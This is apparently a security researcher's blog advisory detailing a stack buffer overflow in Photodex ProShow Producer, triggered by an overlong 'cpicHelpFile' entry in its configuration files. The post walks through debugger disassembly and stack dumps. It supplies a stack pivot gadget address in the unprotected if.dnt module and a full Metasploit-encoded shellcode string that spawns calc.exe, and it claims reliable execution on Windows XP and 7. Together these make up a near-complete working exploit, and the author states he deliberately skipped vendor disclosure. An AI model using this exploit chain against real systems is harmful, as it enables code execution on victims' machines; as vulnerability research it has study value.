Julien Ahrens

Vulnerability Intel | ROP Gadget Hunter | Privacy Enthusiast | Full-time BugBounty hunter | @Hacker0x01 MVH | @SynackRedTeam member | on a world-trip

Yet Another Photodex ProShow Producer Code Execution Vulnerability

26 Jan 2013 » Advisory, Exploit

After my last advisory about the ProShow Producer application by Photodex and the nice Metasploit module created by mr.pr0n, I decided to dig deeper into this application, because the vendor does not care about his product security!

The application is still exposed to the first found vulnerability, even after several updates. So…likewise…I do not further care about a responsible disclosure process with Photodex, it’s just a waste of time!

My newly discovered issue, is quite easy to exploit. For those of you who are interested, here’s a short review of the discovery and exploitation process. By the way the application contains several other security flaws. Let’s expose’em all ;-)

When opening the application help via the menu, the application loads the location of the help file from the file “proshow.cfg”. If the file “proshow.phd” also exists the values are crosschecked.

So basically it’s a buffer overflow vulnerability triggered by some malformed input which leads to EIP control:
ia45-poc-0

The vulnerability can be triggered by copying a “proshow.cfg” / “proshow.phd” configuration file with a manipulated ”cpicHelpFile” identifier to the application directory and after launching the application by manually navigating to the application help via the menu:

ia45-poc-5

But what happens here ? The vulnerable code snippet:

10091503  |. 68 04010000    PUSH 104                                 ; /Arg3 = 00000104
10091508  |. 890C30         MOV DWORD PTR DS:[EAX+ESI],ECX           ; |
1009150B  |. 8B0D 002C2D10  MOV ECX,DWORD PTR DS:[102D2C00]          ; |if.102D2C20
10091511  |. 894C30 FC      MOV DWORD PTR DS:[EAX+ESI-4],ECX         ; |
10091515  |. 8B8C24 1C02000>MOV ECX,DWORD PTR SS:[ESP+21C]           ; |
1009151C  |. 8906           MOV DWORD PTR DS:[ESI],EAX               ; |
1009151E  |. 894A 04        MOV DWORD PTR DS:[EDX+4],ECX             ; |
10091521  |. C742 08 010000>MOV DWORD PTR DS:[EDX+8],1               ; |
10091528  |. 8D5424 10      LEA EDX,DWORD PTR SS:[ESP+10]            ; |
1009152C  |. 52             PUSH EDX                                 ; |Arg2
1009152D  |. 51             PUSH ECX                                 ; |Arg1
1009152E  |. 894C30 F4      MOV DWORD PTR DS:[EAX+ESI-C],ECX         ; |
10091532  |. C74430 F8 0100>MOV DWORD PTR DS:[EAX+ESI-8],1           ; |
1009153A  |. E8 912F1500    CALL if._ExpandMacroFilename@12          ; \_ExpandMacroFilename@12 
1009153F  |. 8D4424 0C      LEA EAX,DWORD PTR SS:[ESP+C]
10091543  |. 8D8C24 1001000>LEA ECX,DWORD PTR SS:[ESP+110]
1009154A  |. 50             PUSH EAX
1009154B  |. 68 042C2D10    PUSH if.102D2C04                         ;  ASCII "hh.exe "mk:@MSITStore:%s""
10091550  |. 51             PUSH ECX
10091551  |. E8 96EA1800    CALL if.1021FFEC
10091556  |. 83C4 0C        ADD ESP,0C
10091559  |. 8D9424 1001000>LEA EDX,DWORD PTR SS:[ESP+110]
10091560  |. 6A 05          PUSH 5                                   ; /ShowState = SW_SHOW
10091562  |. 52             PUSH EDX                                 ; |CmdLine
10091563  |. FF15 24E22210  CALL DWORD PTR DS:[<&KERNEL32.WinExec>]  ; \WinExec
10091569  |. 33C0           XOR EAX,EAX
1009156B  |. 3BF8           CMP EDI,EAX
1009156D  |. 74 4B          JE SHORT if.100915BA
1009156F  |. 8B4F 08        MOV ECX,DWORD PTR DS:[EDI+8]
10091572  |. 8B15 002C2D10  MOV EDX,DWORD PTR DS:[102D2C00]          ;  if.102D2C20
10091578  |. 53             PUSH EBX
10091579  |. 8B19           MOV EBX,DWORD PTR DS:[ECX]
1009157B  |. 3BDA           CMP EBX,EDX
1009157D  |. 5B             POP EBX
1009157E  |. 74 19          JE SHORT if.10091599
10091580  |. C787 20010100 >MOV DWORD PTR DS:[EDI+10120],OFFSET if.g>
1009158A  |. A3 FC2C5910    MOV DWORD PTR DS:[10592CFC],EAX
1009158F  |. A3 046D5910    MOV DWORD PTR DS:[10596D04],EAX
10091594  |. A3 0CAD5910    MOV DWORD PTR DS:[1059AD0C],EAX
10091599  |> 8B06           MOV EAX,DWORD PTR DS:[ESI]
1009159B  |. 25 FFFF0000    AND EAX,0FFFF
100915A0  |. C74430 08 0000>MOV DWORD PTR DS:[EAX+ESI+8],2000000
100915A8  |. 8B0D 002C2D10  MOV ECX,DWORD PTR DS:[102D2C00]          ;  if.102D2C20
100915AE  |. 894C30 04      MOV DWORD PTR DS:[EAX+ESI+4],ECX
100915B2  |. 83C0 08        ADD EAX,8
100915B5  |. 8906           MOV DWORD PTR DS:[ESI],EAX
100915B7  |. 896F 08        MOV DWORD PTR DS:[EDI+8],EBP
100915BA  |> 5F             POP EDI
100915BB  |. 5E             POP ESI
100915BC  |. 5D             POP EBP
100915BD  |. 81C4 08020000  ADD ESP,208 
100915C3  \. C2 0400        RETN 4

Let’s examine the different parts: The application first loads the “cpicHelpFile” value from the configuration file, and directly uses that string as an argument for the ExpandMacroFilename() function without a proper input  validation:

10091503  |. 68 04010000    PUSH 104                                 ; /Arg3 = 00000104
10091508  |. 890C30         MOV DWORD PTR DS:[EAX+ESI],ECX           ; |
1009150B  |. 8B0D 002C2D10  MOV ECX,DWORD PTR DS:[102D2C00]          ; |if.102D2C20
10091511  |. 894C30 FC      MOV DWORD PTR DS:[EAX+ESI-4],ECX         ; |
10091515  |. 8B8C24 1C02000>MOV ECX,DWORD PTR SS:[ESP+21C]           ; |
1009151C  |. 8906           MOV DWORD PTR DS:[ESI],EAX               ; |
1009151E  |. 894A 04        MOV DWORD PTR DS:[EDX+4],ECX             ; |
10091521  |. C742 08 010000>MOV DWORD PTR DS:[EDX+8],1               ; |
10091528  |. 8D5424 10      LEA EDX,DWORD PTR SS:[ESP+10]            ; |
1009152C  |. 52             PUSH EDX                                 ; |Arg2
1009152D  |. 51             PUSH ECX                                 ; |Arg1
1009152E  |. 894C30 F4      MOV DWORD PTR DS:[EAX+ESI-C],ECX         ; |
10091532  |. C74430 F8 0100>MOV DWORD PTR DS:[EAX+ESI-8],1           ; |
1009153A  |. E8 912F1500    CALL if._ExpandMacroFilename@12          ; \_ExpandMacroFilename@12
ESP ==> > 0184A8F0  |Arg1 = 0184A8F0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
ESP+4    > 0012F13C  |Arg2 = 0012F13C
ESP+8    > 00000104  \Arg3 = 00000104

The ExpandMacroFilename() function then copies the string byte by byte:

101E45A6  |> 8A10           /MOV DL,BYTE PTR DS:[EAX]
101E45A8  |. 881401         |MOV BYTE PTR DS:[ECX+EAX],DL
101E45AB  |. 40             |INC EAX
101E45AC  |. 84D2           |TEST DL,DL
101E45AE  |.^75 F6          \JNZ SHORT if.101E45A6

And fills up the stack:

ESP-C    > 0184A8F0  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
ESP-8    > 0012F13C  ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...
ESP-4    > 00000104  ..
ESP ==>  > 102CEC5F  if.102CEC5F
ESP+4    > 00000000  ....
ESP+8    > 0012F434  
ESP+C    > 41414141  AAAA
ESP+10   > 41414141  AAAA
ESP+14   > 41414141  AAAA
ESP+18   > 41414141  AAAA
ESP+1C   > 41414141  AAAA
ESP+20   > 41414141  AAAA
ESP+24   > 41414141  AAAA
ESP+28   > 41414141  AAAA
ESP+2C   > 41414141  AAAA

So far, the malformed string did not overwrite anywthing useful. The string is again used as an argument for the Windows HelpFile - System “hh.exe”, which is executed using a Kernel32.WinExec call:

1009153F  |. 8D4424 0C      LEA EAX,DWORD PTR SS:[ESP+C]
10091543  |. 8D8C24 1001000>LEA ECX,DWORD PTR SS:[ESP+110]
1009154A  |. 50             PUSH EAX
1009154B  |. 68 042C2D10    PUSH if.102D2C04                         ;  ASCII "hh.exe "mk:@MSITStore:%s""
10091550  |. 51             PUSH ECX
10091551  |. E8 96EA1800    CALL if.1021FFEC
10091556  |. 83C4 0C        ADD ESP,0C
10091559  |. 8D9424 1001000>LEA EDX,DWORD PTR SS:[ESP+110]
10091560  |. 6A 05          PUSH 5                                   ; /ShowState = SW_SHOW
10091562  |. 52             PUSH EDX                                 ; |CmdLine
10091563  |. FF15 24E22210  CALL DWORD PTR DS:[<&KERNEL32.WinExec>]  ; \WinExec

That’s the reason why the triggered vulnerability will always show a msgbox from the hh.exe stating that the help file couldn’t be found. Anyways I gnore this message for this demonstration.
At the end of the vulnerable code part, the ESP is moved directly into the overwritten part of the stack and ret’ed…

100915BA  |> 5F             POP EDI
100915BB  |. 5E             POP ESI
100915BC  |. 5D             POP EBP
100915BD  |. 81C4 08020000  ADD ESP,208
100915C3  \. C2 0400        RETN 4

…which means full application flow control:

ESP-8    > 41414141  AAAA
ESP-4    > 41414141  AAAA
ESP ==>  > 41414141  AAAA
ESP+4    > 41414141  AAAA
ESP+8    > 41414141  AAAA
ESP+C    > 41414141  AAAA
ESP+10   > 41414141  AAAA

Now an exploit can be developed as usual. A look at the next stack frames shows that there is a pointer to the beginning of the input string at ESP+C4 (yes this is just one way, there are several others):

ESP+AC   > 0100DB60  `Û.
ESP+B0   > 0000DB78  xÛ..
ESP+B4   > 10091490  .  if._WinHelpDefault@4
ESP+B8   > 0000DB78  xÛ..
ESP+BC   > 00000004  ...
ESP+C0   > 0012F58C  Λ.
ESP+C4   > 0190E8B0  °è  ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESP+C8   > 009D0000  ...
ESP+CC   > 40000060  `..@
ESP+D0   > 00000104  ..

Great, just need to find an instruction somewhere in the code to jmp or call this part. A quite good location to look for a matching instruction-set is the if.dnt application file, because it’s not protected by Rebase, SafeSEH, ASLR or NX and it’s always delivered with the application installer, which should serve a quite reliable exploit - ignore the .dnt extension here - it’s just a renamed .dll file:

ia45-poc-1

The mona.py script reveals a useful instruction set @ 0x101af2ba:

#0x101af2ba : {pivot 196 / 0xc4} :  # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,0B4 # RETN 0x14    ** [if.dnt] **

which jumps directly to ESP+C4 and executes the code starting at this position. Side-Notice: We’ve got only 244 bytes of space for shellcode, beacuse the application terminates the copy-process at some point.

Now the same shellcode already used in my firts exploit can be used to launch a calc.exe:

# windows/exec CMD=calc.exe
# Encoder: x86/shikata_ga_nai
# powered by Metasploit
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'
shellcode = ("\xdd\xc1\xbb\x45\x1d\x9a\xae\xd9\x74\x24\xf4\x5d\x2b\xc9" +
"\xb1\x33\x31\x5d\x17\x83\xed\xfc\x03\x18\x0e\x78\x5b\x5e" +
"\xd8\xf5\xa4\x9e\x19\x66\x2c\x7b\x28\xb4\x4a\x08\x19\x08" +
"\x18\x5c\x92\xe3\x4c\x74\x21\x81\x58\x7b\x82\x2c\xbf\xb2" +
"\x13\x81\x7f\x18\xd7\x83\x03\x62\x04\x64\x3d\xad\x59\x65" +
"\x7a\xd3\x92\x37\xd3\x98\x01\xa8\x50\xdc\x99\xc9\xb6\x6b" +
"\xa1\xb1\xb3\xab\x56\x08\xbd\xfb\xc7\x07\xf5\xe3\x6c\x4f" +
"\x26\x12\xa0\x93\x1a\x5d\xcd\x60\xe8\x5c\x07\xb9\x11\x6f" +
"\x67\x16\x2c\x40\x6a\x66\x68\x66\x95\x1d\x82\x95\x28\x26" +
"\x51\xe4\xf6\xa3\x44\x4e\x7c\x13\xad\x6f\x51\xc2\x26\x63" +
"\x1e\x80\x61\x67\xa1\x45\x1a\x93\x2a\x68\xcd\x12\x68\x4f" +
"\xc9\x7f\x2a\xee\x48\x25\x9d\x0f\x8a\x81\x42\xaa\xc0\x23" +
"\x96\xcc\x8a\x29\x69\x5c\xb1\x14\x69\x5e\xba\x36\x02\x6f" +
"\x31\xd9\x55\x70\x90\x9e\xaa\x3a\xb9\xb6\x22\xe3\x2b\x8b" +
"\x2e\x14\x86\xcf\x56\x97\x23\xaf\xac\x87\x41\xaa\xe9\x0f" +
"\xb9\xc6\x62\xfa\xbd\x75\x82\x2f\xde\x18\x10\xb3\x0f\xbf" +
"\x90\x56\x50")

inserted into the proshow.cfg:

ia45-poc-3

and into proshow.phd:

ia45-poc-4

And finally this leads to a reliable way of shellcode execution - working fine on Windows XP SP3 and Windows 7 SP1 x64

ia45-poc-2

Photodex ProShow pwned again !! :-) :-)